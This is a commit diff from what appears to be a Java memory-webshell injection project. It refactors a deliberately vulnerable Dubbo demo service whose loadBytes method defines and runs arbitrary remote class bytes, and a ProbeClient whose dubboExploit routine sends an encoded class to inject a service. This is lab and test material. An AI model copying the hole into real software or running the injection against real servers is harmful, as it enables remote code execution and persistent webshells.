fix: dubbo3 inject failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled

This commit is contained in:
ReaJason
2026-03-21 10:01:59 +08:00
parent cf8f731e56
commit e793d573d4
20 changed files with 385 additions and 200 deletions
@@ -1,15 +1,11 @@
package com.reajason.javaweb.vuldubbo278;
package com.reajason.javaweb.dubbo;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.common.utils.ClassUtils;
import org.apache.dubbo.config.annotation.DubboService;
import org.springframework.beans.factory.annotation.Value;
@DubboService(version = "1.0.0", path = "demo_say_hello")
public class DefaultDemoService extends ClassLoader implements DemoService {
private final DubboServiceInjector dubboServiceInjector = new DubboServiceInjector();
/**
* The default value of ${dubbo.application.name} is ${spring.application.name}
*/
@@ -35,9 +31,4 @@ public class DefaultDemoService extends ClassLoader implements DemoService {
}
return o.toString();
}
@Override
public String registerService(String path, String interfaceClassName, String implementationClassName) {
return dubboServiceInjector.registerService(path, interfaceClassName, implementationClassName);
}
}
@@ -0,0 +1,9 @@
package com.reajason.javaweb.dubbo;
public interface DemoService {
String sayHello(String name);
String loadBytes(byte[] bytes);
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.vuldubbo278;
package com.reajason.javaweb.dubbo;
import com.caucho.hessian.client.HessianProxyFactory;
import com.caucho.hessian.io.HessianRemoteObject;
@@ -18,11 +18,11 @@ public class ProbeClient {
public static void main(String[] args) throws Exception {
// dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello");
// try {
// dubboExploit();
// } catch (Exception e) {
// e.printStackTrace();
// }
try {
dubboExploit();
} catch (Exception e) {
e.printStackTrace();
}
// exploit();
}
@@ -58,9 +58,9 @@ public class ProbeClient {
}
public static void dubboExploit() throws Exception {
String url = "dubbo://192.168.31.206:12345/org.apache.http.web.handlers.wJMhG.OAuthDubboService";
String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv1yL98Md31/x9KSDJfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAD+bjiShAAAAA==";
byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b));
String url = "dubbo://198.18.0.1:50051/org.apache.http.web.handlers.VTcIU.AuthDubboService";
String b = "yv66vgAAADQABwEANW9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVlRjSVUvQXV0aER1YmJvU2VydmljZSQxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhhbmRsZQEABihbQilbQgYBAAIABAAAAAAAAQQBAAUABgAAAAA=";
byte[] bytes = Base64.getDecoder().decode(b);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
ClassLoader classLoader = ClassGenerator.class.getClassLoader();
@@ -70,6 +70,7 @@ public class ProbeClient {
reference.setApplication(new ApplicationConfig("dubbo-consumer"));
reference.setInterface(clazz);
reference.setVersion("1.0.0");
reference.setProxy("jdk");
reference.setUrl(url);
try {
@@ -1,11 +1,7 @@
package com.reajason.javaweb.vuldubbo278;
package com.reajason.javaweb.dubbo;
import org.springframework.boot.ApplicationRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import javax.script.ScriptEngineManager;
@SpringBootApplication
public class VulDubbo278Application {
@@ -1,10 +0,0 @@
package com.reajason.javaweb.vuldubbo278;
public interface DemoService {
String sayHello(String name);
String loadBytes(byte[] bytes);
String registerService(String path, String interfaceClassName, String implementationClassName);
}
@@ -1,154 +0,0 @@
package com.reajason.javaweb.vuldubbo278;
import org.apache.dubbo.common.utils.NetUtils;
import org.apache.dubbo.config.ProtocolConfig;
import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.config.ServiceConfig;
import org.apache.dubbo.config.ServiceConfigBase;
import org.apache.dubbo.config.context.ConfigManager;
import org.apache.dubbo.rpc.model.ApplicationModel;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
public class DubboServiceInjector {
private static final Logger logger = LoggerFactory.getLogger(DubboServiceInjector.class);
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
public String registerService(String path, String interfaceClassName, String implementationClassName) {
String normalizedPath = normalizePath(path);
if (normalizedPath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(normalizedPath)) {
String addresses = resolveServiceAddresses(normalizedPath);
logger.info("service path [{}] already registered by injector, skipping: {}", normalizedPath, addresses);
return addresses;
}
if (isPathRegisteredInFramework(normalizedPath)) {
String addresses = resolveServiceAddresses(normalizedPath);
logger.info("service path [{}] already registered in framework, skipping: {}", normalizedPath, addresses);
return addresses;
}
Class<?> interfaceClass = loadLocalClass(interfaceClassName);
Class<?> implementationClass = loadLocalClass(implementationClassName);
validateServiceTypes(interfaceClass, implementationClass);
Object serviceInstance = instantiate(implementationClass);
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
if (previous != null) {
return resolveServiceAddresses(normalizedPath);
}
try {
serviceConfig.export();
String addresses = resolveServiceAddresses(normalizedPath);
logger.info("registered dynamic service [{}] at {}", normalizedPath, addresses);
return addresses;
} catch (RuntimeException e) {
dynamicServices.remove(normalizedPath, serviceConfig);
throw e;
}
}
private boolean isPathRegisteredInFramework(String path) {
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices();
return services.stream().anyMatch(s -> path.equals(s.getPath()));
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private Class<?> loadLocalClass(String className) {
try {
return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
} catch (ClassNotFoundException e) {
throw new IllegalArgumentException("class not found on local classpath: " + className, e);
}
}
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
if (!interfaceClass.isInterface()) {
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
}
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
}
if (!interfaceClass.isAssignableFrom(implementationClass)) {
throw new IllegalArgumentException(implementationClass.getName()
+ " does not implement " + interfaceClass.getName());
}
}
private Object instantiate(Class<?> implementationClass) {
try {
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (ReflectiveOperationException e) {
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
}
}
@SuppressWarnings({"rawtypes", "unchecked"})
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
ConfigManager configManager = ApplicationModel.getConfigManager();
ServiceConfig serviceConfig = new ServiceConfig();
serviceConfig.setInterface(interfaceClass);
serviceConfig.setRef(serviceInstance);
serviceConfig.setPath(path);
serviceConfig.setVersion("1.0.0");
serviceConfig.setApplication(configManager.getApplication().orElse(null));
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
serviceConfig.setProtocols(protocols);
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
if (registries.isEmpty()) {
registries = new ArrayList<>(configManager.getRegistries());
}
serviceConfig.setRegistries(registries);
return serviceConfig;
}
private String resolveServiceAddresses(String path) {
ConfigManager configManager = ApplicationModel.getConfigManager();
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
if (protocols.isEmpty()) {
return path;
}
String localHost = NetUtils.getLocalHost();
return protocols.stream()
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
.collect(Collectors.joining(", "));
}
}
+34
View File
@@ -0,0 +1,34 @@
plugins {
id("org.springframework.boot") version "2.7.6"
id("io.spring.dependency-management") version "1.0.15.RELEASE"
id("java")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
targetCompatibility = JavaVersion.VERSION_1_8
sourceCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter")
implementation("org.apache.dubbo:dubbo-spring-boot-starter:3.1.5")
implementation("javax.servlet:javax.servlet-api:4.0.1")
implementation("org.eclipse.jetty:jetty-server")
implementation("org.eclipse.jetty:jetty-servlet")
implementation("commons-io:commons-io:2.19.0")
implementation("net.bytebuddy:byte-buddy:1.10.10")
testImplementation("org.springframework.boot:spring-boot-starter-test") {
exclude(group = "org.mockito")
}
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.dubbo;
import org.apache.dubbo.config.annotation.DubboService;
import org.springframework.beans.factory.annotation.Value;
@DubboService(version = "1.0.0", path = "demo_say_hello")
public class DefaultDemoService extends ClassLoader implements DemoService {
/**
* The default value of ${dubbo.application.name} is ${spring.application.name}
*/
@Value("${dubbo.application.name}")
private String serviceName;
public DefaultDemoService() {
super(Thread.currentThread().getContextClassLoader());
}
public String sayHello(String name) {
return String.format("[%s] : Hello, %s", serviceName, name);
}
@Override
public String loadBytes(byte[] bytes) {
System.out.println("i am in");
Class<?> aClass = defineClass(bytes, 0, bytes.length);
System.out.println("define class");
Object o = null;
try {
System.out.println("new instance");
o = aClass.newInstance();
} catch (Exception e) {
System.out.println("error for new instance");
e.printStackTrace();
}
return String.format("[%s] : Hello, %s", serviceName, o.toString());
}
}
@@ -0,0 +1,8 @@
package com.reajason.javaweb.dubbo;
public interface DemoService {
String sayHello(String name);
String loadBytes(byte[] bytes);
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,15 @@
package com.reajason.javaweb.dubbo;
import org.apache.dubbo.config.spring.context.annotation.EnableDubbo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@EnableDubbo
public class VulDubbo315Application {
public static void main(String[] args) {
SpringApplication.run(VulDubbo315Application.class, args);
}
}
@@ -0,0 +1,15 @@
# Spring boot application
spring.application.name=dubbo-auto-configuration-provider-demo
# Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service
dubbo.scan.base-packages=com.reajason.javaweb.vuldubbo315
# Dubbo Application
## The default value of dubbo.application.name is ${spring.application.name}
## dubbo.application.name=${spring.application.name}
# Dubbo Protocol
dubbo.protocol.name=tri
dubbo.protocol.port=50051
## Dubbo Registry
dubbo.registry.address=N/A